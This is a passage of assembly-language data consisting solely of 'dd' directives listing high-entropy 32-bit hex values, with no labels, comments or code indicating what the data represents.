0E2B408A9h, 800D7F18h, 6F6FC806h, 0D63C993Bh dd 0E3D5919Fh, 50DC9741h, 0C162F870h, 5285C944h, 31EA8042h dd 0DEB23F3Fh, 7C0B1055h, 3BAA8296h, 6E1E59B5h, 0E3A8EA8Ch dd 69273DE7h, 0F935D439h, 46C7A267h, 19F8F4EFh, 0B31CBE26h dd 710414Eh, 4E037622h, 4FC9E775h, 0F865DDEFh, 95CDEFB4h dd 0ABB6841Bh, 0E733C25Bh, 1325A5ACh, 9FBAB7DAh, 3618BDBEh dd 446F5940h, 933182A2h, 195CD979h, 0C4D46F6Bh, 57920Bh dd 0E6098AE3h, 0C3FB3356h, 0F2AD6407h, 40A270ECh, 1E8EFC8Fh dd 50808651h, 681F203Fh, 8562AE7Ch, 74DE8081h, 0A3E43151h dd 0C61B9EEBh, 0AADDCE10h, 0D07D8209h, 6D248B68h, 6875647Dh dd 4F374725h, 550E9B74h, 0B9021FB9h, 0BE322821h, 0C980FEE5h dd 55FDA737h, 8111C6B6h dd 60CED12Dh, 159D1539h, 57920F95h, 0C1C3550Fh, 0E814AE9Dh dd 94B4C350h, 91D91B78h, 44D22540h, 0FB5CC13Bh, 0DBABAC92h dd 0C7EE96D5h, 9DCC3B51h, 68D00DEh, 4F3B6E7Dh, 98DAC68Dh dd 0E1E16C0Ch, 0BD566A8Eh, 0A0C1F5DAh, 7296668Dh, 3B1A0171h dd 0BBAEDF9Dh, 0B0E3D810h, 0BF1FDF5Dh, 2693750Ah, 0F0DCB3h dd 8A639F00h, 0A98EAB4Fh, 5AD8E1F3h, 562CACD2h, 0AE8C033h dd 0C2E1C290h, 867B5883h, 269827A6h, 8F960219h, 0C161355Fh dd 4DD848FEh, 0BB4E9663h, 0FF2142CEh, 175E29B9h, 0EA379D4Fh dd 5059C02Eh, 0A3DCB8ECh, 6BE4B163h, 33F38BA3h, 43E3127Eh dd 989B95FBh, 0F57E7B3Bh, 0C977E35Bh, 2F1A4763h, 4355716Dh dd 51CD0226h, 347E2C78h, 4CCEB7FFh, 0CB40645h, 85BBE3D1h dd 30D02A7Fh, 952E6DD9h, 0DF80581Bh, 0F570B180h, 0A245DC00h dd 0BA319DAFh, 714CEF9Eh, 9E63D41Bh, 47C03B6Bh, 5D8EA3BFh dd 4E90DED0h, 9DFD6BBDh, 0FF3D9E57h, 5F1EF5E4h, 80187EC3h dd 0CF5FFFC8h, 0D9EA700Bh, 0B01457D6h, 7D3192DBh, 40ED704Fh dd 1817B7BCh, 9D43D0F1h, 0ACE60A8Ch, 0F7AC4EEh, 2B4BC009h dd 97FCBC09h, 0ED22D681h, 6F50AEA3h, 0BC4EFD42h, 2B789C6Bh dd 9DAD4AC0h, 634D7299h, 0A69C1E21h, 0CF173014h, 99594009h dd 20539E20h, 29BC73B1h, 0E51CC7FCh, 944059D7h, 17478651h dd 331CC9B7h, 19F42E2Ch, 855FE318h, 0A8C1BED4h, 2BE86473h dd 632A6AF0h, 4DBD6882h, 7447F5F3h, 8BC432FAh, 7F7AB529h dd 4132940Bh, 0BD14E8FFh, 3E9450B9h, 30048D17h, 0BB496C50h dd 3F656A42h, 0F94A0495h, 9B0F18C8h, 614CD887h, 3417F7A2h dd 12676AF3h, 53355292h, 0ACE4C26Dh, 0A1BC47C2h, 10304678h dd 212AE190h, 673B4946h, 8A83D69Ch, 6D3C74B0h, 3E76D17Eh dd 0A16ADE8Ch, 6BA52857h, 45A22D8Eh, 95353882h, 0F860CD6Eh dd 5EAB16C9h, 82381D8Dh, 0C4BB7A98h, 9EB13F62h, 307B7CB9h dd 7DD6C4F4h, 2B668DE6h, 8BBFEFE9h, 70F31DB1h, 94D63C10h dd 0AD604F05h, 0A46CE278h, 6FC9AEBAh, 0E4F6753Bh, 6571C8E9h dd 0F8487CE5h, 984690E9h, 7B3A772Eh, 92FFD2BEh, 5486C6C5h dd 0F57237FDh, 3D70D745h, 59730EBFh, 38D345E3h, 0A9FE56F1h dd 0E9CC1CD6h, 0F849D514h, 327F397Dh, 0C831869Bh, 880C1432h dd 36E0386Ch, 0CD441B12h, 4B8C763Ch, 3D4F9290h, 6B971FCDh dd 0C521A078h, 0B1E6D1E2h, 91332029h, 7FAC3CAFh, 0F14A7E7Ch dd 0F8D1972Ah, 0B469318Ah, 3E47E7CAh, 914FB4C2h, 851B86BCh dd 728697F9h, 0B119DAA5h, 0AE25A067h, 56C18E28h, 0AE22AE67h dd 0E0EEFB5Ah, 0A3ABC4E1h, 5C62029Bh, 9E97254Bh, 9C03EA4h dd 0C9715C6Ch, 7B93168Fh, 0A7F32244h, 0E36FF6Ah, 41C1074Bh dd 0F78D32F1h, 129339F8h, 89294319h, 999E1112h, 91A6DFDBh dd 733C6E97h, 86460067h, 4C5E217Eh, 0FBA4DE0Bh, 1771D95Ch dd 93E9F565h, 3E820931h, 87EA726Ah, 44A4E776h, 0E2DDCA05h dd 877D547Ah, 9EC7C8D1h, 9097D06Dh, 0A385650Ah, 8C4853CCh dd 0D59B5F9h, 1E2825F0h, 0EEA1F621h, 0FAC44211h, 5527971h dd 43CCE941h, 122551C6h, 11782DB7h, 7130B1FCh, 0A910AD50h dd 87FA8B25h, 431FFA96h, 2B0E7DA9h, 83FB8739h, 24387B7Ch dd 0BAA98276h, 0ACB6BF53h, 0F3E41ACFh, 6C6AD49h, 3717DD4Ah dd 0FC3F0232h, 3AE1067Dh, 2D7A50Bh, 15988158h, 0DBB0DA15h dd 0FEBD6588h, 0D1F871A3h, 0EEE37BB6h, 891BD82Eh, 5421B789h dd 9E632A05h, 40446EABh, 4DB15DAEh, 9A8BF7A2h, 2240392Bh dd 0A219868Bh, 43BCB37Eh, 0A4DB27F1h, 69E24E56h, 0D6ABF909h dd 33938F1Eh, 5799C6FDh, 3467DCDCh, 5DC0E45Ch, 4AFCFCCBh dd 0E9C553FFh, 0DF6EE9Ah, 8B83A83Bh, 1336F222h, 1665B02h dd 0A73C0FAFh, 0DA97817Ch, 98305061h, 87F09958h, 23DDD26Ch dd 0F65D4BBCh, 0ACCA2BA2h, 0E128CE4Ch, 0E55D4567h, 9D7EC8CDh dd 45E03FAh, 0F339C36Fh, 7DA6B525h, 572825Bh, 0E332FA63h dd 7F5F566Fh, 0EEA09ECAh, 555ED6F3h, 2E6A50CDh, 0D614C8CEh dd 0B5B3F53Fh, 0BE1CBF8Ah, 3DEAEB2Dh, 790732D3h, 609704C9h dd 0B497BD27h, 0C94C1018h, 0A0635577h, 28E2EF73h, 0FEB8EBF7h dd 47C28D5Ah, 0C8804D26h, 0C473E067h, 0A84CE2A1h, 390EE0D9h dd 0CCDD8F2Bh, 38D6382Bh, 0D62FDDDAh, 0E11B43ECh, 61410859h dd 0D50C9BA4h, 959B91C7h, 0B5025B20h, 0A38287E3h, 90DDA2FAh dd 19887CE9h, 455EF084h, 2A061E38h, 5F9BD869h, 0F1D5897Ah dd 0CCFAC04Bh, 51FE8065h, 3C5A7EB1h, 94251705h, 638D5F6Eh dd 0BB73B0E5h, 0D1452E58h, 997AAD9Bh, 79707E4Fh, 90CC348Eh dd 0DD6EFFC3h, 0C7BD069h, 93E86FD4h, 8AF08715h, 384010E8h dd 0E8009534h, 2765CE1Ah, 0AA361D9Fh, 9EBB002Eh, 0F6655A7Dh dd 9A9DEE4Eh, 7DD07867h, 0EF5B280h, 5416331Ch, 359A6A36h dd 0A50569E6h, 0B411EA6Fh, 2151576Dh, 72C831D9h, 44DE049Bh dd 517F972Ah, 0E32C6CE4h, 22E630F4h, 1079F1FDh, 0D0FE68E3h dd 8A753FAh, 667F966h, 0B9689710h, 4FC3D660h, 0A245B020h dd 6496ED74h, 0E8E328BEh, 0D80ADFE9h, 7BC5B731h, 90E69AC9h dd 1E1168BBh, 24321355h, 3B7F7C2h, 693DAB80h, 878A01DBh dd 0E045F630h, 19D84580h, 6CC8E034h, 0CFAED9A3h, 0BD3FEAD4h dd 396469AAh, 0E441286Ah, 26C2193Fh, 0FE9551C6h, 7D77CC7Dh dd 1642407Fh, 57A7900Ch, 0B56914A2h, 94DC7FF6h, 0CA05D4A3h dd 6B832198h, 46E0B32Ah, 0F7F438CFh, 0CD02DE5Dh, 7FCB4E4Eh dd 85BFD637h, 0B1F6E33Bh, 0E7D060E1h, 0A4CBECAAh, 0D6C2AFAAh dd 2B489F10h, 9F90DF77h, 0E0142CF0h, 384F8F77h, 18AB79B4h dd 42E25D26h, 5F90E899h, 0AC8EC0D7h, 0FE516713h, 0F4307ABh dd 6A373422h, 0B6D27922h, 0FB73A13Ah, 0D41F3D4Dh, 0E88FA260h dd 0EC8C0A52h, 35B812C1h, 10FB9A56h, 0E145BA5Fh, 94EC59D2h dd 0FF6756ECh, 6304DDCAh, 81C6AD3Fh, 4A7AE6E9h, 0AAE130B5h dd 0E15C5A66h, 0ACD19201h, 368F9371h, 0E822F50Dh, 0EDA6B43Fh dd 0C29EB9C8h, 84696F1h, 76687B08h, 1FACBE7Fh, 0F32EF46Ah dd 6CA2A0Bh, 1BA7151Bh, 510D5154h, 0D605EB40h, 0D17D7728h dd 1CF80350h, 0D4B4CDD9h, 1D7CC3C8h, 0E607EED8h, 0E4F57CE9h dd 0F9ADB157h, 0DD628E6Bh, 0A54F2D97h, 0BBF5A7EEh, 121376B4h dd 0B1637A8Ah, 47D7E68Bh, 0B2AFE1CBh, 2BD8EA50h, 99FAD98Fh dd 10DF1071h, 56222F5Dh, 0A90D7842h, 761EA2E8h, 0CA1E857Dh dd 406CDD0h, 7B6CCE8h, 128309FDh, 0EF539A30h, 4629571Fh dd 215A0ABDh, 0DDAB0218h, 2A11D1F6h, 0E4238E1h, 86FE1736h dd 6DFEEAFAh, 68A7107Dh, 75D8D883h, 0D1D6DECCh, 0E4308E18h dd 0C602B3ECh, 84FC831Eh, 61DB093Eh, 3AD993D0h, 813A3444h dd 74FAEC20h, 0B4588026h, 7E38BA2Ah, 14ABA718h, 0E29ADE6Fh dd 3DF10B90h, 956CB120h, 2F480DD7h, 0F4FB56CCh, 0AE45FCE3h dd 8C0384Fh, 0D07C9F03h, 58424BFAh, 0D839568Eh, 0A3595E87h dd 0FEF541Ch, 0DCC1823h, 3025B3Fh, 25FC7896h, 7102B47Bh dd 1C3EB204h, 0D8E598FBh, 8226F1D8h, 0BC53698Dh, 0B0314C98h dd 0A4AE107Ah, 5882F7BAh, 0C5007C6Bh, 4E2B4CF6h, 14A338C4h dd 34FF2EE5h, 0CF938E05h, 13B7D3FBh, 9C42B826h, 9983A518h dd 9D18B83h, 19499BF5h, 2D4A695Ch, 0AB0CE741h, 7CB3A9Dh dd 6C70D350h, 42725AACh, 0F723CB3Ah, 0B9500BCh, 0D6B737C2h dd 0E6776A2Ch, 78ED63E4h dd 3E99AB55h, 0CF7B0AF1h, 6DC8AD3Fh, 3AAC54E9h, 0F7EFE15Fh dd 0EDD76812h, 0AA83B392h, 4451623Ah, 3843F98Bh, 9B4BA78Ch dd 5FB974Bh, 0C8D971E2h, 7E96B01Ch, 0C93D2E15h, 57D47377h dd 892247E0h, 0B8BCC310h, 0D52DB3A1h, 575A747Eh, 63BE5493h dd 5995A6A2h, 7AF21431h, 0E3F0DC3Fh, 0DF8C7EDCh, 5FBB1E58h dd 0FD5B28D8h, 95B695DAh, 0BD41F2F1h, 88A00EC8h, 53156894h dd 6B1750E1h, 56A66DC8h, 0D828DAE0h, 4398266Bh, 0B7091B66h dd 0FD7B7B0h, 8DA6B839h, 0D2A3290h, 7282BE22h, 6CC5CD9Eh dd 0DB7282BAh, 0CEF5C57Bh, 21BF3A2Ch, 0A10267D9h, 71FB02FBh dd 161C098Ch, 0E5418FA6h, 18E48E5Ah, 0B638387Ch, 416C8FF9h dd 47A6A7A0h, 4B8F80EDh, 0D582045Fh, 446FC835h, 1B1AE642h dd 2EEBBECh, 94CD5D75h, 0C3BEC1F8h, 0DA2F88AEh, 4BE4ED52h dd 145E904Eh, 90D20B58h, 38648859h, 0FAC2B125h, 0D1CEF7B7h dd 0DCDB2E2h, 344D2694h, 0A6731900h, 0ACFBDDB7h, 511E59A5h dd 0ADB120EBh, 0A9711E19h, 16B669EFh, 8CB379C3h, 384B175Fh dd 8590D99Fh, 96C122C9h, 0F4CA9556h, 9D552BB3h, 0EE8331F0h dd 0F30AD54Bh, 0F61815D1h, 783D4D86h, 79CB408Eh, 2F3211D8h dd 77505A48h, 72647F81h, 0E7257D6Dh, 5AE7DAB8h, 14ECB622h dd 0EFB7015Eh, 0BDE6B9E3h, 38BE7CFAh, 0E7BCC010h, 663CEC8Dh dd 0E69F6BDBh, 0F927EFFh, 4F01C5ECh, 1B15C642h, 9677C48Eh dd 93ED49CBh, 5487CD3Fh, 3D86A99Eh, 576AE5F6h, 5435144Bh dd 45EA55B9h, 0E9CE7A75h, 347C2C3Ch, 9821AE49h, 142A1E99h dd 0BFFAE047h, 7B8980A2h, 0BE371FC5h, 0C6A0309h, 68F5E1BBh dd 81515095h, 480BDE30h, 86C725ADh, 0A90CA51Eh, 8192B826h dd 0BBB79DBFh, 6C6A0D0h, 62AF1112h, 584D301Ah, 681BD70Bh dd 0D97D400Fh, 4032864Eh, 72F18182h, 0C2E052BDh, 0F530A91Eh dd 4ACD95F8h, 4D913E16h, 0C6591EDDh, 0CA0576B2h, 59DB4302h dd 27B71465h, 0C0C6F3F5h, 0F8528B58h, 44351CD6h, 0B752A111h dd 0BBEEE1E2h, 0B336385Ch, 0A8E522B4h, 197722F2h, 0E0B79D95h dd 453B3D2Bh, 7B7D8777h, 0B4677618h, 6D65DAC9h, 599311DAh dd 216E5E19h, 0D94F2CC4h, 1F552CBBh, 6E362512h, 62A38E1Ah dd 40810BE8h, 0E82237EFh, 0B54DB295h, 2B9BA877h, 1DF000Fh dd 7E33F002h, 0BE56C8ECh, 0DE944782h, 0D8AA23C2h, 1DEC90F7h dd 22A7C27Eh, 943C7BBFh, 2500B430h, 4499A6ECh, 35E7E983h dd 0E64D608Dh, 0DCEBCBC2h, 35E7099Bh, 0BA78E83Ah, 0B9F81F7Bh dd 98D8039Ch, 6ADA40CDh, 5E0953E5h, 816EFC58h, 2000299Ah dd 692F4CF0h, 51560877h, 8B598935h, 4E0AFFE5h, 7669383Dh dd 878F1EEBh, 19889C68h, 0EC4BF4ACh, 0A088A514h, 21C3E5C8h dd 5C5F16BFh, 3F8273AEh, 0E7AE4E45h, 0C436126Ah, 62CFB9EFh dd 4E7F149Bh, 0FCDE5522h, 8D807E9h, 85859CFh, 94213A8Bh dd 6DAE272Fh, 0E51EB7E2h, 0F08BA373h, 0D2BB950Ch, 2B24158Ch dd 37A8EEEBh, 0B2EA4BE8h, 4EA0F913h, 0EB77A82Eh, 1B62A7C3h dd 0F00FAD1Fh, 0AD572299h, 9AB2E100h, 0FB14144Ah, 0E118007Eh dd 0AB91BC66h, 346BEE7Ch, 87246528h, 0EC358469h, 0A1A0212Dh dd 410C2EAEh, 0E8803081h, 41B32607h, 3B5CE192h, 2C4634D1h dd 3E718814h, 0FCA45E67h, 0CA139F02h, 95CD5FDDh, 0CD780C2Eh dd 0D5D99220h, 0AF4C09E1h, 9EFF55B3h, 938A863Bh, 5A9063FEh dd 92D82689h, 4B7C26AFh, 8AFBA4Eh, 452F56B8h, 0AF6EB01Fh dd 6EAD0F61h, 0BC4C1FEEh, 4D9720B4h, 3E693EA0h, 0FE9C96C7h dd 0F63D668Eh, 61F47B3Dh, 54AF44F9h, 0A39E16CEh, 328670B1h dd 3F7C31A4h, 0D89D5CDAh, 94C30C0Ch, 0C9831D5Fh, 618DDFD4h dd 24E4ACB0h, 14C99F0h, 35FD707Fh, 567BA0F6h, 621F1F7Ah dd 8535DDE8h, 80663D1Ch, 309580FAh, 14239724h, 0DFA67ABDh dd 0DEE6B606h, 1317E2C3h, 0BEF88722h, 0E8A61AD4h, 3B17DCA0h dd 149D2072h, 0D2C6314h, 265EE24Fh, 0AAA072AAh, 45B973A9h dd 307FC8A9h, 0D3809764h, 862C9EEh, 0B6998A9h, 308541B8h dd 3B87701Ah, 0AA689C72h, 95FC6712h, 9470902Fh, 552ABFF4h dd 0C178553Ah, 0DCD97AA6h, 3F1B1822h, 0D7519Ah, 0A9CBDA2Ch dd 2EA37635h, 0DE3E5963h, 0A9BA9E96h, 5123F0Dh, 0AE949ABCh dd 23F44D15h, 0F7029DC9h, 0D66D90D8h, 0ACF00800h, 0ADF81DE5h dd 0BA0946BBh, 438B5640h, 0DACF7442h, 566117A9h, 86C890CCh dd 0AF71330Ch, 776D7299h, 23B2C2C6h, 71BC1DA5h, 93AE1F72h dd 85F87A54h, 0B41B36B2h, 35345410h, 0EF692E97h, 4DD97E51h dd 0DF27895h, 8918393Fh, 81F09E5h, 621C45AFh, 921DEB57h dd 6390CF55h, 66EEC3B4h, 5DFFE2ABh, 58BB3098h, 0E8239CBEh dd 77D7DB0Ch, 0D8BB6AA0h, 0AAA97DB1h, 0DD038F44h, 3796FF58h dd 0D828F630h, 0D433F0FCh, 3FD51876h, 9D0AB048h, 4EFBCF17h dd 0CA7E3B91h, 8A645A48h, 4DB8A7E9h, 193ADCE5h, 48D7C902h dd 0DE2EBBD2h, 3B5B93ECh, 0A80068CDh, 0C8FC7935h, 6472F9A1h dd 1FBD0497h, 6367839Bh, 69E8214h, 70D8E3CCh, 4D929E66h dd 0DA5B18B6h, 936F493Fh, 0E7156BC8h, 7F2F8574h, 3349DA49h dd 7FC66AD1h, 1892BDE9h, 42FFCE9Ch, 0A3F480BBh, 2AE704AFh dd 0AA26B043h, 28FC59FEh, 27395F96h, 0E2E2EBB7h, 248676D0h dd 21B49B3h, 2832316Bh, 0DA56E03Eh, 962B4135h, 5725CF86h dd 8B5E344Bh, 0EFFA19A1h, 0A67D4ED3h, 341CB729h, 5EF19260h dd 4CDDEE3Bh, 0E9FAFF85h, 0EE82EE9Eh, 2B0EB1A3h, 2A8973C4h dd 3B5D4907h, 0AD0D633Bh, 64B60991h, 0E2342B4Eh, 9E8C8101h dd 0F73CF12Ah, 9B46B754h, 1B868720h, 5DB15F42h, 7ADB48ADh dd 743E8125h, 973B57ADh, 0BEF917B5h, 0BD34D477h, 0DFA98E43h dd 2B2C2A48h, 0ABDF8D6Ah, 386367F5h, 7D606036h, 73187773h dd 458C75FBh, 39E968CEh, 9FC8F41Eh, 208D097Dh, 7C5C14EDh dd 8E870295h, 0A58DD8h, 0D0B68645h, 7A649216h, 78C8FEF7h dd 0E3D1390Dh, 0B0711EDh, 56702B22h, 929C2ACFh, 90F39982h dd 9FBD09F0h, 0A58DD1Ah, 88029773h, 0A26A4815h, 0DB3E8A5Dh dd 40149EE2h, 3E8A13CAh, 775D4E2h, 1F53DF7Ch, 0F965ACF5h dd 12AE0C85h, 0A07328Ch, 226D04A1h, 7B6F2950h, 0EB93861Bh dd 68C7B71h, 0EFEBC685h, 8141D4ABh, 9307D5D6h, 825F3166h dd 0FABC0247h, 0DBA3715h, 2B84FD7Fh, 0C520EF27h, 1885759Ch dd 0F65ADDA7h, 84674913h, 3C90F58Ah, 15D91F12h, 4CAC5401h dd 490A3EE7h, 0C0CE86C3h, 6DCA8EFBh, 0CE1C2588h, 1AC4074Dh dd 11D401D7h, 0BC8A100Ah, 60DE5252h, 76C0FA55h, 869ADC9Bh dd 85436FA0h, 9B674A75h, 9DA490B8h, 1AEC968Fh, 1AE08496h dd 725C83FFh, 5BE7A4AFh, 7FCB7408h, 4DAF4956h, 0C2252726h dd 7085A27h, 5A40DDA0h, 9B48A2D3h, 76DA8DF8h, 70E5DD6Bh dd 7D5174AAh, 456AF761h, 98CD0B5Ch, 8716B9C0h, 0EC364A50h dd 0FD9BE1F5h, 599D67C6h, 9077B3D2h, 915C7A5h, 5F3B6225h dd 8D6F4FE9h, 0C32B3AC2h, 6081FFD1h, 2119F913h, 3A52E652h dd 0A9FD406Eh, 9A6EEC02h, 11CDC38Fh, 99A42A34h, 0F3A32399h dd 0F91D9960h, 5CF739F5h, 0FFA0F74Bh, 0CAAAEC0Ah, 696ABAC0h dd 0B99DE280h, 8BB721BEh, 18B040EDh, 69C9583Ch, 9EDC7AC7h dd 405F9287h, 0A7A08F8Eh, 0B7F5CC14h, 81B3F63Dh, 0A5A63AF1h dd 3B64E674h, 69F4FE05h, 9AEA5891h, 0F20B1CFEh, 0D9B8D40h dd 61C38864h, 16BF3908h dd 15145A12h, 0C1190CC2h, 0D9B18155h, 5F3D75D0h, 48E25810h dd 29A621D5h, 0D22C491Ah, 3C1DA2ADh, 9FCEA757h, 5BEAEE1Fh dd 0F964674Bh, 0A6C71364h, 0CB6154B4h, 0CF71EECh, 6BDD0053h dd 0B9790659h, 9615F0ACh, 0A9EBBC8Fh, 3E8CB85Bh, 7385F180h dd 2D6F3B1Ch, 5CE02531h, 0D43AEDF1h, 0A8843115h, 0AA9CF63Bh dd 6AA50EFAh, 8EFEEC8h, 1FC9660Ch, 727DC522h, 61B19C4Dh dd 574E58Ch, 72C5C85Ah, 36FDA26Ch, 92EA34C6h, 34075D98h dd 2C7AAB90h, 41B66465h, 1BD5F854h, 0C5F7BF9Bh, 0A8B9F9DEh dd 0EE13D2C4h, 22016B23h, 0E95B8875h, 0AB41C7A4h, 21BD2F58h dd 0EF4A3F6Dh, 44953770h, 0B4F17C6Fh, 9771A087h, 0CB3305E0h dd 0AB3C0B41h, 0F0F5D83Bh, 5A796128h, 7E406202h, 651A7E8Dh dd 0D17E6B95h, 0ACD6B106h, 0A40386E2h, 0DAF052E3h, 9406093h dd 0C8C3B2AFh, 14AE316Eh, 9156ED2Bh, 0A8A12836h, 0E26830C4h dd 0F320A6B2h, 94780987h, 81FD0F38h, 4709DEF9h, 14145AC1h dd 18AE8F44h, 3723E78h, 0E0AA9FC8h, 8EF42F48h, 0AA5EF9EFh dd 72F5FD47h, 9AA37F58h, 1C75A314h, 95BF4B4Fh, 0C84D61B4h dd 1C4ED838h, 2473BB73h, 0E2D311C9h, 0E636B485h, 0FE9EC0A9h dd 8639AEF2h, 7713A121h, 67BCF90h, 22E53552h, 61B18CB8h dd 8B501AB1h, 4E43F4F0h, 0CB8E71Ah, 78EBB2Eh, 3AC06701h dd 0F9A877DBh, 0B438441Bh, 0AE1CF86Dh, 3B08E813h, 860427F2h dd 3056FE90h, 8E823A9h, 6A96EA01h, 0A8837B2Dh, 7AEBE169h dd 514DC392h, 0EFDC7A13h, 0BB367809h, 35809782h, 0B655AA2Fh dd 19209124h, 0C1AD0C5Eh, 0EFC9B8A0h, 23A7C16Bh, 0F9B2F0BDh dd 0F1738E08h, 0C090536Dh, 90611474h, 4624F9B4h, 0F0EE3CE4h dd 2416867Eh, 1E73DA56h, 0BD19B96Ch, 0B5BBD74Ch, 94E247E0h dd 0F093B9CFh, 9F93A898h, 0E2863CEBh, 6DF4C868h, 5FB6CD2Ah dd 39EE0451h, 4C13E8C5h, 81214732h, 9761BE15h, 2B28B7D0h dd 44969F08h, 9524DF16h, 95C92111h, 9621442Bh, 0F5467624h dd 0A2DC453Ah, 59D0403Ah, 7D93B884h, 4D39C5DDh, 0E4648663h dd 0EC21AEE4h, 56AC5495h, 90E3BB29h, 63EC75Dh, 16D52920h dd 1CED2E36h, 6B60C091h, 4C94C055h, 7CDC4E1Fh, 4E913615h dd 354DCCA7h, 1330875Eh, 0CC0498DEh, 0B4DC4221h, 4E1074E4h dd 36B5EF6Dh, 38FC12E7h, 84C4B54h, 9B8FB057h, 79B9824h dd 67741FF9h, 998D68D9h, 797AAAF7h, 0C37BFFCDh, 0D56C4165h dd 0CE526125h, 0F4BCB4EEh, 0E1765642h, 5EDB8CC4h, 80738A3Dh dd 694FFF32h, 0F6D45499h, 0CB4519Fh, 66406A67h, 7F69A538h dd 0EEAB2E14h, 94FF7A90h, 0A89F7BA9h, 8F46ABD3h, 0ED68C68Ah dd 67BD30B6h, 0C3427A8Ah, 5D168F73h, 0A08237A0h, 18872875h dd 0D1405165h, 74A3225Ah, 5B3387B5h, 5AA5DDAAh, 87D8F8A1h dd 0BF6FFDB2h, 0F48AAA0Dh, 61F34FC1h, 0A33C2B5Eh, 0BFEA5251h dd 0B83EE139h, 36E66CB4h, 5AF5419Eh, 50CDC62Eh, 42789C20h dd 71C69C8Eh, 8935FAACh, 965BBCDCh, 205FB079h, 549F68F9h dd 0A686B3B2h, 6633CFBAh, 0B0C524FBh, 0E78EE5A8h, 0D94BFD66h dd 0D0C7041h, 3174EB5Ch, 0F7490F05h, 6E01885Dh, 0FC9E7288h dd 5F4C7B2Bh, 0CB9064CEh, 39F49D3Ah, 0FF0426C2h, 4526DE8Ah dd 0E796C94Ch, 8BF53A85h, 0ADB40169h, 0FD784DC4h, 0E3DD7BAEh dd 0A885D074h, 0EA14503Dh, 0BE75B534h, 5891A7BDh, 0C73BB830h dd 0DB3187DCh, 51EA01C6h, 0ADE0B7C4h, 4D5B85B8h, 405AE91Ah dd 0A5E476A5h, 9268B02Eh, 0A89656C4h, 370AD57Bh, 76CAEC4Fh dd 7A299A44h, 93D4F88Bh, 0FD6BC3C8h, 0C1A25F0Ch, 1A3D81F9h dd 0C73E6474h, 0ECE9A3A4h, 0B01E9426h, 2DDABCD7h, 52C132A3h dd 84D658C4h, 4986B9D1h, 5D258658h, 94C1374Ch, 81D43F19h dd 5A9956A6h, 0CA84DCA3h, 5A7CBFAEh, 436DF6EDh, 0A84DD5h dd 8B9D6C74h, 48DBDF43h, 0CF82D57Dh, 0CE7E202h, 0E359BDF8h dd 9E1A2C8Ah, 3865A153h, 681F3518h, 6FB2AE52h, 0ADAE9E14h dd 0AAF3CECBh, 47B6242Fh, 0CA3DF5Ch, 93DB0A9Bh, 78773D8Ah dd 0D387FC61h, 80FB61BDh, 255DB9B6h, 0F8CD3A78h, 0E3E177F0h dd 3AFB39EDh, 67307A7Bh, 2DADBC4Eh, 5DA42A3Bh, 0ABC6AF8Ah dd 0CA52D483h, 0BE90EA34h, 2A3D23A6h, 0EC901109h, 175AD221h dd 0ACEA3CB3h, 0E4091E48h, 0CDBE6B9Dh, 80128559h, 97D7DB29h dd 31E36675h, 8E0C5E82h, 6ADF2848h, 0F200A08Ch, 0C8695F2Ch dd 0CAF7EEB0h, 2660803Ah, 0E3BD0D1Ah, 0A8A2C128h, 494046BFh dd 0FD9C949Eh, 8A4670Bh, 98A85920h, 8EE02F64h, 0D4BDA77Ch dd 9B8C8F3Bh, 651CC35Fh, 0E190B3E0h, 8222D9B7h, 27CA70EDh dd 5F399C44h, 0C75CA1DEh, 5A1F8E21h, 47FF1A16h, 7F24BA08h dd 0DE22ADF9h, 0B7D06530h, 91F3E01Ch, 6C70EEB9h, 0ED908138h dd 0ABA05E4Dh, 97A23A81h, 13F6A25Eh, 4D1A307Ah, 0EC692E7Ch dd 0FC6691A8h, 204DD2B7h, 1DA25C3Ch, 0C5FD5BBEh, 862FB1D8h dd 8A3F83D9h, 0AA47EAF4h, 0BB44DE11h, 5FE5D25Eh, 932244AAh dd 41E1BFC2h, 0CE7C654Eh, 246BCF46h, 0FEF0278Ah, 0E12EE4EDh dd 0C4DC0E42h, 4F6B7029h, 81542946h, 680B31AFh, 0B88B44BFh dd 4DCD96C2h, 398EF7BCh, 3A0898AFh, 8A5D095h, 98256A70h dd 0CAEC12FEh, 0E981BC15h, 0DF91DEBFh, 0DD57585Ah, 84884CBEh dd 5AE35377h, 5B2CA2C4h, 0ADC67E9Ch, 6C5253F4h, 44A40460h dd 4D703F37h, 7F454388h, 0E1B21A92h, 63727D20h, 0B7F280FEh dd 76C8C367h, 757A3BD6h, 0DA634E5Dh, 496D9246h, 0A3469EA3h dd 600DDCFCh, 0A4B35984h, 7C39266Ah, 35E1DD96h, 35EA7FD7h dd 0DEF763C5h, 4E284F9Ch, 6E61DF66h, 5B84177Ch, 42EC690Fh dd 0E73EE6D5h, 4A44F1BFh, 73BB0A0Fh, 0D22BA865h, 0D883EAE4h dd 0F7AF7DCAh, 0D33CA2EAh, 89A664A5h, 8838422Fh, 0A2D9EDEEh dd 3E702CD1h, 60839A96h, 947471F5h, 75917450h, 78D06FA3h dd 76ABDBC3h, 3FCF33CDh, 7F31F497h, 9CD12D16h, 0B7167BADh dd 19488974h, 97D81F7Ch, 62A1E7A2h, 0C57CD542h, 0EC27DE3h dd 0AEE80ECDh, 0BC1021FAh, 7272B1B9h, 4B75E489h, 15EE192Bh dd 0AACA0E25h, 0EDCEE1A8h, 33D6490Bh, 6CC9AA78h, 71A6651Ah dd 0E77EDBC6h, 0DB6538AEh, 0A532DA3Fh, 9643BDC9h, 6A046011h dd 1838F915h, 3CD0C346h, 8686A2B2h, 0A71B739h, 5A26B5F9h dd 7E1382EBh, 8DE7371h, 0BBD67590h, 12D23329h, 5F14F915h dd 966DDB9Dh, 0A9D38564h, 0F106B8E3h, 5A1805C1h, 72214CE7h dd 3CFAB75Dh, 85C04519h, 6267AC0Ch, 0CF5207ADh, 79250FBh dd 27005D2Eh, 8FA50CFBh, 73C1AC27h, 0BA371B00h, 0CCA13FCDh dd 0DB6F7398h, 5508AC38h, 0D8D2C345h, 42803C1Ah, 0F10484E4h dd 0A66E1C41h, 3E5273F0h, 0A75F141Fh, 6E9C8662h, 439D26F3h dd 878A943Eh, 0B1172D18h, 71E52054h, 87F4CF80h, 67F4181Ch dd 0ED7FDF47h, 39A97723h, 9E48D9ABh, 767D2157h, 2AC94432h dd 2F9A803Fh, 5E119834h, 78E51539h, 0F31CF2E0h, 5F1DA331h dd 91C92A9h, 97DE0D61h, 6E5B21ABh, 0E8FD166Bh, 1E99CA51h dd 3274FA1h, 32795E89h, 0FBFB9FB9h, 688A86D1h, 0EEA13545h dd 34F89E0Eh, 0EF0D6F1Bh, 0F7923661h, 99B45C89h, 7328C5CAh dd 4927B257h, 0A3BB2C3Fh, 